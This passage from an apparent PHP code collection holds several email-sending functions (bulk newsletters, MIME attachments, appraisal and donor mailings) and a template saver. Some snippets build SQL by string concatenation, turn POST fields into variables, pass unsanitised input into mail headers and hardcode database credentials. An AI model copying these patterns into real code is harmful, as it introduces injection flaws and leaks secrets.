(list($headername, $value) = each($this->headers)) {\n if ($value) $this->mailheaders .= \"$headername: $value\\n\";\n }\n }", "function send_mails() {\n\t //$myactivebatch = $this->load_saved_batch();//load direct from file\n\t $myactivebatch = GetParam('batchrestore');//load in html form field and save as param\n\t //echo '>',$myactivebatch;\n\t \n\t $batch = GetReq('batchid');\n\t $bid = GetParam('bid')?GetParam('bid'):0; \n\t \t \n\t $include_subs = GetParam('includesubs');\n\t $include_all = GetParam('includeall');\t \n\t $subscribers = $include_subs?$include_subs:$include_all;//one or another\n\t\n\t $from = GetParam('from');\n\t $to = GetParam('to');\t \n\t $subject = GetParam('subject');\n\t \n\t if ($this->template) {\n\t if ($this->dirdepth) {\n\t\t for($i=0;$i<$this->dirdepth;$i++)\n\t\t\t $backdir .= \"../\";\n\t\t }\n\t\t else\n\t\t $backdir = \"../\";\n\t\t //repalce viewable data to send data (absolute dir)\t \n\t\t //echo $backdir;\n\t\t if ($this->mailbody)//get session text with headers\n\t\t $body = $this->mailbody;\n\t\t else //get text area\n\t $body = str_replace($backdir,$this->url.$this->infolder.'/',GetParam('mail_text')); \t \n\t }\t \n\t else\t{ //text area or session text with headers\n\t \n\t if (GetReq('editmode')) {\n\t\t $mytext = $this->mailbody?$this->mailbody:GetParam('mail_text');\n\t\t $body = $this->unload_spath($mytext);\n\t\t }\n\t\t else\n\t $body = $this->mailbody?$this->mailbody:GetParam('mail_text'); \n\t }\t \t \n\t \t \n\t\t \n\t if ($subscribers) {// || ($batch)) {//if sybs checked or batch in process..\n\t \n\t //save the current mail campaign state\n\t $this->save_current_batch($batch);\t\n\t \t \t \n\t //$subs = $this->subs_mail;\n\t\t \n\t\t //workinh batch tosend\n\t\t $subs = $this->getmails($include_all,$this->batch,$bid);\n\t\t \n\t if (($batch>=0) && ($batch>=$myactivebatch)) {\n\n\t //if ($res = GetGlobal('controller')->calldpc_method('rcshmail.sendit use '.$from.'+'.$to.'+'.$subject.'+'.$body.'+'.$subs)) {\n if ($res = $this->sendit($from,$to,$subject,$body,$subs,$this->ishtml)) {\n\t $this->mailmsg = $res . \" mail(s) send!\";\n\t }\t \n\t else \n\t $this->mailmsg = \"Send failed\";\n\t\t }\n\t\t else \t\n\t\t $this->mailmsg = \"Send bypassed\"; \n\t }\t \n\t else {//one receipent\n\t //if ($res = GetGlobal('controller')->calldpc_method('rcshmail.sendit use '.$from.'+'.$to.'+'.$subject.'+'.$body))\n\t\t if ($res = $this->sendit($from,$to,$subject,$body,null,$this->ishtml)) \n\t\t $this->mailmsg = $res . \" mail(s) send!\";\n\t\t else\n\t\t $this->mailmsg = \"Send failed\";\t\n\t }\t \n\t\t \n\t //auto refresh\n\t $refresh = GetParam('refresh')?GetParam('refresh'):$this->auto_refresh;\n\t if (($refresh>0) && ($res==$this->batch)) {\n $this->refresh_bulk_js(seturl('t=cpsubsend&batchid='.($bid+1).'&batch='.$this->batch.'&refresh='.$refresh),$refresh);\t\t\t \n\t $this->mailmsg .= \"Wait for next batch \" . $this->timeout;\t\t \n\t }\t \n\t \n\t //test\n\t //return $this->batch;\n //return (400);\t \t //??????????????????????????????????????????????????\n\t //echo '---------------------',$res,'---------------------------<br>';\n\t \n\t if ($res<$this->batch) //means end of campaign\n\t $this->reset_batch_state();\n\t \n\t return ($res);//how many mails tried to send (batch...)\t \n\t}", "function mail_attachment($filename, $path, $mailto, $from_mail, $from_name, $replyto, $subject, $message, $cc, $bcc) {\n\t\t$file = $path.$filename;\n\t\t$file_size = filesize($file);\n\t\t$handle = fopen($file, \"r\");\n\t\t$content = fread($handle, $file_size);\n\t\tfclose($handle);\n\t\t$content = chunk_split(base64_encode($content));\n\t\t$uid = md5(uniqid(time()));\n\t\t$name = basename($file);\n\t\t$header = \"From: \".$from_name.\" <\".$from_mail.\">\\r\\n\";\n\t\t$header .= \"Reply-To: \".$replyto.\"\\r\\n\";\n\t\t$header .= 'Cc: '.$cc . \"\\r\\n\";\n\t\t$header .= 'Bcc: '.$bcc . \"\\r\\n\";\n\t\t$header .= \"MIME-Version: 1.0\\r\\n\";\n\t\t$header .= \"Content-Type: multipart/mixed; boundary=\\\"\".$uid.\"\\\"\\r\\n\\r\\n\";\n\t\t$header .= \"This is a multi-part message in MIME format.\\r\\n\";\n\t\t$header .= \"--\".$uid.\"\\r\\n\";\n\t\t$header .= \"Content-type:text/html;charset=iso-8859-1\" . \"\\r\\n\";\n\t\t$header .= \"Content-Transfer-Encoding: 7bit\\r\\n\\r\\n\";\n\t\t$header .= $message.\"\\r\\n\\r\\n\";\t\t\n\t\t$header .= \"--\".$uid.\"\\r\\n\";\n\t\t$header .= \"Content-Type: application/octet-stream; name=\\\"\".$filename.\"\\\"\\r\\n\"; // use diff. tyoes here\n\t\t$header .= \"Content-Transfer-Encoding: base64\\r\\n\";\n\t\t$header .= \"Content-Disposition: attachment; filename=\\\"\".$filename.\"\\\"\\r\\n\\r\\n\";\n\t\t$header .= $content.\"\\r\\n\\r\\n\";\n\t\t$header .= \"--\".$uid.\"--\";\n\t\t\n\t\tmail($mailto, $subject, \"\", $header);\n\t}", "function mail_allothers($db_object,$common,$post_var,$user_id,$error_msg)\n\t{\n\t\twhile(list($kk,$vv)=@each($post_var))\n\t\t{\n\n\t\t$$kk=$vv;\n\t\n\t\t}\n\t\t\n\t$config=$common->prefix_table(\"config\");\n\t$appraisal_table=$common->prefix_table(\"multirater_appraisal\");\n \t$otherraters_table = $common->prefix_table(\"other_raters\");\n\t$user_table=$common->prefix_table(\"user_table\");\n\t$ratergroup_table = $common->prefix_table(\"rater_group\");\n\t$position_table = $common->prefix_table(\"position\");\n \t\n//groups to be sent mail...\n\t\n\t$mysql = \"select rater_group_name from $ratergroup_table\";\n\t$group_arr = $db_object->get_single_column($mysql);\n\n\t\n\t\tfor($i=0;$i<count($group_arr);$i++)\n\t\t{\n\t\t\t$group_var = $group_arr[$i];\n\t\t\n\t\t\t$name=$group_var;\t\n\n\t\t\t$$name=1;\n\t\t}\n\n// emails in OTHERS category will be sent in the multirater_appraisal.php\n\n\t\tfor($x=0;$x<count($user_id_all);$x++)\n\t\t{\n\t\t\t\n\t\t$appraisal_userid = $user_id_all[$x];\n\t \n//OCT 11 MAILS SHOULD BE SENT FROM HERE TO BOSS , BOSS' BOSS , SELF ONLY\n\n//boss id\n\t\t\n\t\t$boss_no = $common->immediate_boss($db_object,$appraisal_userid);\n\t\t\n\n//boss' boss id \n\t\t \n\t\t\n\t\t$boss_boss_no = $common->immediate_boss($db_object,$boss_no);\n\n\t//check with the group names...\n\t\t$current_user_id = \"\";\n\t\t\n\t\t$current_user_id[] = $appraisal_userid; //converting the current userid to array \n\n\t\t\tif($grp_boss == 1)\n\t\t\t{\n\t\t\t\tif($boss_no != 0)\n\t\t\t\t{\n\t\t\t\t$array_users4 = $boss_no;\n\t\t\t\t}\n\t\t\t\t\n\t\t\n\t\t\n\t\t\t}\n\t\t \n\t \t\tif($grp_topboss == 1)\n\t\t\t{\n\t\t\t\tif($boss_boss_no !=0)\n\t\t\t\t{\n\t\t\t\t$array_users7 = $boss_boss_no;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t \n\n\t\t$array_users = @array_merge($array_users4,$array_users7,$current_user_id);\t\n\t\n//all the persons who are supposed to recieve email is obtained...\n\t\n\t\t$array_users = @array_unique($array_users);\n\n\n//codings to send mail...\n\t\t\n\t\t$mysql=\"select masubject,mamessage from $config\";\n\t\n\t\t$rslt_arr=$db_object->get_a_line($mysql);\n\n\t\t\n\n\t\t$masubject=$rslt_arr[\"masubject\"];\n\t\t$mamessage=$rslt_arr[\"mamessage\"];\n\n//sender email details...\n\t\t$mysql = \"select username,email from $user_table where user_id = '$appraisal_userid'\";\n\n\t\t$sender_arr = $db_object->get_a_line($mysql);\n\t\t$user = $sender_arr[\"username\"];\n\t\t$from = $sender_arr[\"email\"];\n\n\t\t\n\t\t$user_idstring=implode(\",\",$array_users);\n\n\t\t$mysql = \"select email,username,user_id from $user_table \n\t\twhere user_id in ($user_idstring)\";\n\t\t\t\t\t\t\n\n\t\t$email_arr1 = $db_object->get_rsltset($mysql);\n\n\t\t$email_arr=array();\n\n\t\tfor($l=0;$l<count($email_arr1);$l++)\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$id=$email_arr1[$l][\"user_id\"];\n\t\t\t\t$email_arr[$id][\"user_id\"] = $email_arr1[$l][\"user_id\"];\n\t\t\t\t$email_arr[$id][\"email\"]=$email_arr1[$l][\"email\"];\n\t\t\t\t$email_arr[$id][\"username\"]=$email_arr1[$l][\"username\"];\n\t\t\t\t\n\t\t\t}\n\n\n\n\n\t\twhile (list($kk,$vv) = @each($array_users))\n\t\t\t{\n\t\t\t$useridToMail = $array_users[$kk];\n\t\t\t\n\t\t\t\n\t\t\t\tif($useridToMail != 0)\n\t\t\t\t{\n\n\t\t\t\n\t\t\t\t$email = $email_arr[$useridToMail][\"email\"];\n\n\t\t\t\t$username = $email_arr[$useridToMail][\"username\"];\t\n\t\t\t\t$rater_user_id = $email_arr[$useridToMail][\"user_id\"];\n\n\t\t\t\t$to = $email;\n\t\t\t\t\n\t\t\t\t$values[\"username\"]\t=$username;\n\t\t\t\t$values[\"user\"] \t= $user;\n\t\t\t\t$values[\"login_username\"] = $username;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$values[\"url\"]=$common->http_path.\"/index.php\";\n\n\t\t\t\t$message=$common->direct_replace($db_object,$mamessage,$values);\n\n\t\t\t\t//echo \"to $to<br> sub $masubject<br> mess $message<br> from $from<br><br>\";\n\n\t\t\t\t$sent=$common->send_mail($to,$masubject,$message,$from);\n \n//store the data of the persons to whom the mail has been sent\n\t\t\n\t\t\t\t$rater_id = $rater_user_id;\n\t\t\t\t$user_to_be_rated = $appraisal_userid;\n\t\t\t\t$rater_email = $email;\n\t\t\n//insert the data regarding the raters into the table...\n\t\t\t\t\n//if the user is the rater, it means that he belong to the self category...\t\t\t\n\t\t\t\t\n\t\t\t\tif($user_to_be_rated == $rater_id)\n\t\t\t\t{\n\t\t\t\t$group_belongingto = 'grp_self';\n\t\t\t\t}\n\t\t\t\telseif($rater_id == $boss_boss_no)\n\t\t\t\t{\n\t\t\t\t$group_belongingto = 'grp_topboss';\t\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t$group_belongingto = 'grp_boss';\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$mysql = \"insert into $otherraters_table set rater_userid = '$rater_id' , rater_email = '$rater_email' ,cur_userid = '$user_to_be_rated' , group_belonging = '$group_belongingto' ,date_rating_requested=now()\";\n\t\t\t\t\n\t\t\t\t$db_object->insert($mysql);\n\t\t\n\t\t\t\t//user_to_be_rated = \"\"; //from\n\t\t\t\t//rater_id = \"\"; //to\n\t\t\n\t\t\t\t}\n\t\t\n\n\t\t\t}\n\t\t\n\t\n\t\t\n\t}\n\t\tif($sent)\n\t\t{\n\t\t\n\t\t\techo $error_msg[\"cMultiraterAppraisalMail_sent\"];\n\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo $error_msg[\"cMultiraterAppraisalMail_fail\"];\n\t\t}\n\t\t\n\t\n}", "function SendMail($email_title,$email_body,$reboot)\n{\n\tif($email_title == \"\" || $email_body == \"\" || $email_title == null || $email_body == null)\n\t{\n\t\tfile_put_contents(\"result.txt\",\"email body or title is null\\n\",FILE_APPEND);\n\t\texit(\"email内容为空或者email标题为空\\n\");\t\t\n\t}\n\n\t//load basic class: SMTPMailer\n\trequire(\"SMTPMailer.php\");\n\n\tif($reboot == \"start\"){//说明第一次启动程序\n\t\tfile_put_contents(\"result.txt\",\"\");\t\t\n\t\t//链接到数据库并获得要发送的邮件地址\n\t\t$connection = mysql_connect(\"localhost\", \"mydonor\", \"MYDONOR@))(\") or die (\"Unable toconnect!\");\n\t\tmysql_select_db(\"mydonor\") or die (\"Unable to select database!\"); \n\t\tmysql_query(\"SET NAMES UTF8\");\n\t\t$query = \"SELECT distinct email_addr FROM if_donor_email WHERE priority >= 0 and deleted = 0 ORDER BY id\"; \n\t\t$result = mysql_query($query) or die (\"Error in query: $query. \" . mysql_error());\n\t\t//写下本次要发送的邮件地址到emaillist\n\t\tfile_put_contents(\"emaillist.txt\",\"\");\n\t\t$i = 0;\n\t\twhile($email = mysql_fetch_row($result)){\n\t\t\tfile_put_contents(\"emaillist.txt\",$i.\" \".$email[0].\"\\n\",FILE_APPEND);\t\n\t\t\t$i ++;\n\t\t}\n\t\t//计算本次要发送的邮件数目\n\t\t$email_num = mysql_num_rows($result);\n\t\tif($i !== $email_num) die (\"出错:email数目和写入emaillist文件的email数不一致\"); \n\t\t//关闭数据库链接\n\t\tmysql_close($connection);\n\n\t\t//从emaillist.txt中读入本次待发送的邮件列表\n\t\t$file= \"emaillist.txt\";\n\t\t$emaillist=file($file,FILE_IGNORE_NEW_LINES);\n\t\tif($email_num !== count($emaillist)) die (\"出错:email数目和emaillist文件总行数不一致\"); \n\t\tfor($i = 0; $i < count($emaillist); $i ++){\n\t\t\t$email[$i] = preg_split(\"/\\s+/\",trim($emaillist[$i]));\t\t\n\t\t}\n\t\t//开始发送邮件\n\t\tif(count($email) > 0){\n\t\t\t\tfor($i = 0; $i < count($email); $i ++)\n\t\t\t\t{\n\t\t\t\t\t$mailer=new SMTPMailer();\n\t\t\t\t\t$mailer->Host=\"202.38.64.8\";\n\t\t\t\t\t$mailer->UserName=\"\";\n\t\t\t\t\t$mailer->Password=\"\";\n\t\t\t\t\t$mailer->From=\"\";\n\t\t\t\t\t$mailer->ContentType=\"text/html\";\n\t\t\t\t\t$mailer->Subject=$email_title; \n\t\t\t\t\t$mailer->Body=$email_body;\n\t\t\t\t\t$mailer->To=$email[$i][1];\n\t\t\t\t\tif($i !== intval($email[$i][0])) exit(\"当前发送email地址的id和emaillist.txt中的记录行号id不一致\\n\");\n\t\t\t\t\tif($mailer->Send()){\n\t\t\t\t\t\tfile_put_contents(\"result.txt\",$i.\" \".$email[$i][1].\" 成功\\n\",FILE_APPEND);\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tfile_put_contents(\"result.txt\",$i.\" \".$email[$i][1].\" \".$mailer->Error.\"\\n\",FILE_APPEND);\n/*\t\t\t\t\t\tif(strstr($mailer->Error,\"Recipient\") !== false){\n\t\t\t\t\t\t\t$connection = mysql_connect(\"localhost\", \"mydonor\", \"MYDONOR@))(\") or die (\"Unable toconnect!\");\n\t\t\t\t\t\t\tmysql_select_db(\"mydonor\") or die (\"Unable to select database!\"); \n\t\t\t\t\t\t\tmysql_query(\"SET NAMES UTF8\");\n\t\t\t\t\t\t\t$query = \"update if_donor_email set priority = -1 where email_addr = '\".$email[0].\"'\"; \n\t\t\t\t\t\t\t$setResult = mysql_query($query);\n\t\t\t\t\t\t\t$error = mysql_error();\n\t\t\t\t\t\t}*/\n\t\t\t\t\t}\n\t\t\t\t\tfile_put_contents(\"currpos.txt\",$i);\n\t\t\t\t\tsleep(5);\n\t\t\t\t}\n\t\t}\t\t\t\t\n\t}\n\telse if($reboot == \"restart\"){//说明属于重启\n\t\t$file= \"currpos.txt\";\n\t\t$currpos=file($file,FILE_IGNORE_NEW_LINES);\n\t\tif(count($currpos) === 0) exit(\"在重启模式下,currpos.txt不能为空\\n\");\n\t\t$from = intval($currpos[0])+1; //重启后应该从第几个email开始发送\n\t\tif($from < 1) exit(\"$from 值不对\");\n\t\t\n\t\t//从emaillist.txt中读入本次待发送的邮件列表\n\t\t$file= \"emaillist.txt\";\n\t\t$emaillist =file($file,FILE_IGNORE_NEW_LINES);\n\t\tfor($i = 0; $i < count($emaillist); $i ++){\n\t\t\t$email[$i] = preg_split(\"/\\s+/\",trim($emaillist[$i]));\t\t\n\t\t}\n\t\t//开始发送邮件\n\t\tif(count($email) > 0){\n\t\t\t\tfor($i = $from; $i < count($email); $i ++)\n\t\t\t\t{\n\t\t\t\t\t$mailer=new SMTPMailer();\n\t\t\t\t\t$mailer->Host=\"202.38.64.8\";\n\t\t\t\t\t$mailer->UserName=\"\";\n\t\t\t\t\t$mailer->Password=\"\";\n\t\t\t\t\t$mailer->From=\"\";\n\t\t\t\t\t$mailer->ContentType=\"text/html\";\n\t\t\t\t\t$mailer->Subject=$email_title; \n\t\t\t\t\t$mailer->Body=$email_body;\n\t\t\t\t\t$mailer->To=$email[$i][1];\n\t\t\t\t\tif($i !== intval($email[$i][0])) exit(\"当前发送email地址的id和emaillist.txt中的记录id不一致\\n\");\n\t\t\t\t\tif($mailer->Send()){\n\t\t\t\t\t\tfile_put_contents(\"result.txt\",$i.\" \".$email[$i][1].\" 成功\\n\",FILE_APPEND);\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tfile_put_contents(\"result.txt\",$i.\" \".$email[$i][1].\" \".$mailer->Error.\"\\n\",FILE_APPEND);\n/*\t\t\t\t\t\tif(strstr($mailer->Error,\"Recipient\") !== false){\n\t\t\t\t\t\t\t$connection = mysql_connect(\"localhost\", \"mydonor\", \"MYDONOR@))(\") or die (\"Unable toconnect!\");\n\t\t\t\t\t\t\tmysql_select_db(\"mydonor\") or die (\"Unable to select database!\"); \n\t\t\t\t\t\t\tmysql_query(\"SET NAMES UTF8\");\n\t\t\t\t\t\t\t$query = \"update if_donor_email set priority = -1 where email_addr = '\".$email[0].\"'\"; \n\t\t\t\t\t\t\t$setResult = mysql_query($query);\n\t\t\t\t\t\t\t$error = mysql_error();\n\t\t\t\t\t\t}*/\n\t\t\t\t\t}\n\t\t\t\t\tfile_put_contents(\"currpos.txt\",$i);\n\t\t\t\t\tsleep(5);\n\t\t\t\t}\n\t\t}\t\t\t\n\t\t\t\t\t\n\t}else{//既不属于第一次启动,也不属于重启,说明有问题\n\t\texit(\"出错:/既不属于第一次启动,也不属于重启,说明有问题\"); \t\n\t}\t\n}", "function save()\r\n {\r\n // read the template\r\n\t $str = dirname(__FILE__); \r\n $content = file_get_contents(dirname(__FILE__).'/partinfo.php'); \r\n if (!$content){\r\n return \"fail read template\";\r\n } \t\r\n \r\n\t $tags = array(\"#TITLE#\", \r\n\t \t\"#BRAND#\", \r\n\t \t\"#MODULE#\", \r\n\t \t\"#ENGINE#\", \r\n \"#TYPE#\", \r\n \"#NAME#\", \r\n \"ADDRESS\", \r\n \"#DATE#\", \r\n \"#PRICE#\", \r\n \"DESCRIPTION\");\r\n\t \r\n $fields[0] = $this->title;\r\n $fields[1] = $this->brand;\r\n $fields[2] = $this->series;\r\n $fields[3] = $this->module;\r\n $fields[4] = \"配件\";\r\n $fields[5] = $this->module;\r\n $fields[6] = \"广州\";\r\n $fields[7] = $this->date;\r\n $fields[8] = $this->price;\r\n $fields[9] = $this->description;\r\n \r\n $content = str_replace($tags,$fields,$content); \r\n \r\n $date = date(\"Ymd-Hms\");\r\n $filename = sprintf(\"publish/%d-%d-%s.php\", $this->id, $this->uid, $date);\r\n $fp = fopen($filename, \"w\");\r\n if (!$fp) {\r\n return \"fail create file\";\r\n }\r\n \r\n if (fwrite($fp, $content) == FALSE) { \t \r\n fclose($fp);\r\n return \"fail wirte content\";\r\n }\r\n \r\n fclose($fp);\r\n return $filename;\r\n }", "function pdf_email($str_Company,$str_email_type,$str_subject,$str_file_name='',$str_email='',$str_body='',$quote_no='',$str_from=''){\n\t//NOTE:----------$str_email has all Customer email address------------------------\n\t\n\trequire_once ('../node_modules/mail/PHPMailerAutoload.php');\nrequire_once ('../node_modules/mail/class.phpmailer.php');\nrequire_once ('../node_modules/mail/class.smtp.php');\n\t\n\t\t//include_once('class.phpmailer.php');\n\t\t//require_once ('../node_modules/mail/class.phpmailer.php');\n\t\t$str_disclaimer=\"</br> </br> \".\"This is an automated email, please do not reply to this email address.\" .\"</br> </br> \".\n\t\t\"This message, including any attachments, may contain confidential information intended only for a specific individual and purpose. The information is considered private and legally protected by law. If you are not the intended recipient, please destroy all copies. You are hereby notified that any dissemination, distribution, copying or use of the content of this transmission is strictly prohibited.\";\n\t\t\n\t\t//$smtp=new SMTP();\n\t\t\n\t\t\n\t\t$mail = new PHPMailer();\n\t\t\n\t\tif ($str_email!=''){\n\t\t\t\n\t\t\tif ($str_Company==1){\n\t\t\t\t$mail->From = $str_from;\n\t\t\t}elseif ($str_Company==4){\n\t\t\t\t$mail->From = '[email protected]';\n\t\t\t}else {\n\t\t\t\t$mail->From = '[email protected]';\n\t\t\t}\n\t\t\t$mail->FromName = $str_email_type;\n\t\t\t$mail->Subject = $str_subject;\n\t\t\t\n\t\t\t\n\t\t\t\t$arr_email=explode(';', $str_email);\n\t\t\t\t$int_email_count=count($arr_email);\n\t\t\t\tfor ( $intCounter = 0; $intCounter < $int_email_count; $intCounter++ ) {\n\t\t\t\t\t//$mail->AddAddress( '[email protected]' );\n\t\t\t\t\t$mail->AddAddress( $arr_email[$intCounter] );\n\t\t\t\t}\n\n\t\t\t\t\t$mail->AddAddress( $str_file_name );\n\n\t\t\t\t//Test by veera\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//\n\t\t\t//if ($str_file_name!=''){\n\t\t\t\t\n\t\t\t\t$mail->addAttachment('C:/htdocs/Quote_System/inc/PDF/Quote'.$quote_no.'.pdf'); // Add attachments\n\t\t\t\t$mail->isHTML(true);\n\t\t\t//}\n\t\t\t$mail->Body = $str_body . \"</br> \" .$str_disclaimer;\n\t\t\t\n\t\t\t\n\t\t\t//$mail->AddAttachment( $file_to_attach , 'ChangeRequest.xlsx' );\n\t\t\t\n\t\tif(!$mail->send()) {\n\t\t\treturn 'Failed to send eamil';\n\t\t} else {\n\t\t\treturn 'Email sent';\n\t\t}\n\t\t}\n\t\n}", "function mymail($to,$subject,$body,$from){\r\n\t$mainBody = \"<html>\r\n\t<head>\r\n\t<title>$subject</title>\r\n\t</head>\r\n\t<body><p>\" . $body . \"</p></body>\r\n\t</html>\";\t\r\n\t$headers = \"MIME-Version: 1.0\\r\\n\";\r\n\t$headers .= \"Content-type: text/html; charset=iso-8859-1\\r\\n\";\r\n\t$headers .= \"To: \".$to.\" \\r\\n\";\r\n\t$headers .= \"From: \".$from.\" \\r\\n\";\r\n\techo \"<br>To:\".$to.\"<br>From:\".$from.\"<br>Subject:\".$subject.\"<br>Body:<br>\".$mainBody.\"<br><br>\";\r\n\t//mail($to,$subject,$body,$from);\r\n}", "function mantis_publisher_footer()\n{\n\t$site = get_option('mantis_site_id');\n\n\tif (!$site) {\n\t\treturn;\n\t}\n\n\trequire(dirname(__FILE__) . '/html/publisher/config.php');\n\n\trequire(dirname(__FILE__) . '/html/publisher/styling.php');\n\n\tif (get_option('mantis_async')) {\n\t\trequire(dirname(__FILE__) . '/html/publisher/async.html');\n\t} else {\n\t\trequire(dirname(__FILE__) . '/html/publisher/sync.html');\n\t}\n}", "function mail_attachment($filename, $path, $mailto, $from_mail, $from_name, $replyto, $subject, $message) {\n if ($filename != '' && $path != ''){\n $file = $path.$filename;\n $file_size = filesize($file);\n $handle = fopen($file, \"r\");\n $content = fread($handle, $file_size);\n fclose($handle);\n $content = chunk_split(base64_encode($content));\n $uid = md5(uniqid(time()));\n $name = basename($file);\n $header = \"From: \".$from_name.\" <\".$from_mail.\">\\r\\n\";\n $header .= \"Reply-To: \".$replyto.\"\\r\\n\";\n $header .= \"MIME-Version: 1.0\\r\\n\";\n $header .= \"Content-Type: multipart/mixed; boundary=\\\"\".$uid.\"\\\"\\r\\n\\r\\n\";\n $header .= \"This is a multi-part message in MIME format.\\r\\n\";\n $header .= \"--\".$uid.\"\\r\\n\";\n $header .= \"Content-type:text/plain; charset=iso-8859-1\\r\\n\";\n $header .= \"Content-Transfer-Encoding: 7bit\\r\\n\\r\\n\";\n $header .= $message.\"\\r\\n\\r\\n\";\n $header .= \"--\".$uid.\"\\r\\n\";\n $header .= \"Content-Type: application/octet-stream; name=\\\"\".$filename.\"\\\"\\r\\n\"; // use different content types here\n $header .= \"Content-Transfer-Encoding: base64\\r\\n\";\n $header .= \"Content-Disposition: attachment; filename=\\\"\".$filename.\"\\\"\\r\\n\\r\\n\";\n $header .= $content.\"\\r\\n\\r\\n\";\n $header .= \"--\".$uid.\"--\";\n if (mail($mailto, $subject, \"\", $header)) {\n return 'E-mail Sent successfully'; // or use booleans here\n } else {\n return 'E-mail not Sent';\n }\n }else{\n $header = \"From: \".$from_name.\" <\".$from_mail.\">\\r\\n\";\n $header .= \"Reply-To: \".$replyto.\"\\r\\n\";\n if (mail($mailto, $subject, \"\", $header)) {\n return 'E-mail Sent successfully'; // or use booleans here\n } else {\n return 'E-mail not Sent';\n }\n }\n }", "function indexs() {\n\t\n\t/**sendmail(\n\t\tarray (\n\t\t\t'subject' => 'Ma premier newsletter',\n\t\t\t'from' => array (\"[email protected]\" => \"WEBINMOVE\"),\n\t\t\t'to' => array (\"[email protected]\"),\n\t\t\t'layout' => 'news'.DS.'news001'\n\t\t\t\n\t\t)\n\t);\n\t**/\n}", "function saveReportTemplate($logo1=null,$logo2=null, $title=null,\n\t$subtitle=null, $frt=null, $notes=null,\n\t$firmText1=null, $firmText2=null,$botInfo=null,\n\t$footer=null) {\n\n\tsaveTemplateInDb(time(),\"$logo1;-;$logo2;-;$title;-;$subtitle;-;$frt;-;$notes;-;$firmText1;-;$firmText2;-;$botInfo;-;$footer\");\n\n}", "function sendInfoMail()\t{\n\t\tif ($this->conf['infomail'] && $this->conf['email.']['field'])\t{\n\t\t\t$recipient='';\n\t\t\t$emailfields=t3lib_div::trimexplode(',',$this->conf['email.']['field']);\t\t\t\t\n\t\t\tforeach($emailfields as $ef) {\n\t\t\t\t$recipient.=$recipient?$Arr[$this->conf['email.']['field']].';'.$recipient:$Arr[$this->conf['email.']['field']];\n\t\t\t}\n\t\t\t$fetch = t3lib_div::_GP('fetch');\n\t\t\tif ($fetch)\t{\n\t\t\t\t\t// Getting infomail config.\n\t\t\t\t$key= trim(t3lib_div::_GP('key'));\n\t\t\t\tif (is_array($this->conf['infomail.'][$key.'.']))\t\t{\n\t\t\t\t\t$config = $this->conf['infomail.'][$key.'.'];\n\t\t\t\t} else {\n\t\t\t\t\t$config = $this->conf['infomail.']['default.'];\n\t\t\t\t}\n\t\t\t\t$pidLock='';\n\t\t\t\tif (!$config['dontLockPid'] && $this->thePid)\t{\n\t\t\t\t\t$pidLock='AND pid IN ('.$this->thePid.') ';\n\t\t\t\t}\n\n\t\t\t\t\t// Getting records\n\t\t\t\tif (t3lib_div::testInt($fetch))\t{\n\t\t\t\t\t$DBrows = $GLOBALS['TSFE']->sys_page->getRecordsByField($this->theTable,$this->conf['uidField'],$fetch,$pidLock,'','','1');\n\t\t\t\t} elseif ($fetch) {\t// $this->conf['email.']['field'] must be a valid field in the table!\n\t\t\t\t\tforeach($emailfields as $ef) {\n\t\t\t\t\t\tif ($ef) $DBrows = $GLOBALS['TSFE']->sys_page->getRecordsByField($this->theTable,$ef,$fetch,$pidLock,'','','100');\n\t\t\t\t\t\tif (count($DBrows )) break;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Processing records\n\t\t\t\tif (is_array($DBrows))\t{\n\t\t\t\t\t//$recipient = $DBrows[0][$this->conf['email.']['field']];\n\t\t\t\t\tif ($this->conf['evalFunc'])\t{\n\t\t\t\t\t\t$DBrows[0] = $this->userProcess('evalFunc',$DBrows[0]);\n\t\t\t\t\t}\n\t\t\t\t\t$this->compileMail($config['label'], $DBrows, $this->getFeuserMail($DBrows[0],$this->conf), $this->conf['setfixed.']);\n\t\t\t\t} elseif ($this->cObj->checkEmail($fetch)) {\n\t\t\t\t\t$this->sendMail($fetch, '', '',trim($this->cObj->getSubpart($this->templateCode, '###'.$this->emailMarkPrefix.'NORECORD###')));\n\t\t\t\t}\n\n\t\t\t\t$content = $this->metafeeditlib->getPlainTemplate($this->conf,$this->markerArray,'###TEMPLATE_INFOMAIL_SENT###');\n\t\t\t} else {\n\t\t\t\t$content = $this->metafeeditlib->getPlainTemplate($this->conf,$this->markerArray,'###TEMPLATE_INFOMAIL###');\n\t\t\t}\n\t\t} else $content='Error: infomail option is not available or emailField is not setup in TypoScript';\n\t\treturn $content;\n\t}", "public static function sendEmail($file,$msg,$email = '[email protected]')\n {\n try\n {\n $name = 'tophatter BigCommerce Cedcommerce';\n \n $EmailTo = $email.',[email protected]';\n $EmailFrom = $email;\n $EmailSubject = \"tophatter BigCommerce Cedcommerce Exception Log\" ;\n $from ='tophatter BigCommerce Cedcommerce';\n $message = $msg;\n $separator = md5(time());\n\n // carriage return type (we use a PHP end of line constant)\n $eol = PHP_EOL;\n\n // attachment name\n $filename = 'exception';//store that zip file in ur root directory\n $attachment = chunk_split(base64_encode(file_get_contents($file)));\n\n // main header\n $headers = \"From: \".$from.$eol;\n $headers .= \"MIME-Version: 1.0\".$eol; \n $headers .= \"Content-Type: multipart/mixed; boundary=\\\"\".$separator.\"\\\"\";\n\n // no more headers after this, we start the body! //\n\n $body = \"--\".$separator.$eol;\n $body .= \"Content-Type: text/html; charset=\\\"iso-8859-1\\\"\".$eol.$eol;\n $body .= $message.$eol;\n\n // message\n $body .= \"--\".$separator.$eol;\n /* $body .= \"Content-Type: text/html; charset=\\\"iso-8859-1\\\"\".$eol;\n $body .= \"Content-Transfer-Encoding: 8bit\".$eol.$eol;\n $body .= $message.$eol; */\n\n // attachment\n $body .= \"--\".$separator.$eol;\n $body .= \"Content-Type: application/octet-stream; name=\\\"\".$filename.\"\\\"\".$eol; \n $body .= \"Content-Transfer-Encoding: base64\".$eol;\n $body .= \"Content-Disposition: attachment\".$eol.$eol;\n $body .= $attachment.$eol;\n $body .= \"--\".$separator.\"--\";\n\n // send message\n if (mail($EmailTo, $EmailSubject, $body, $headers)) 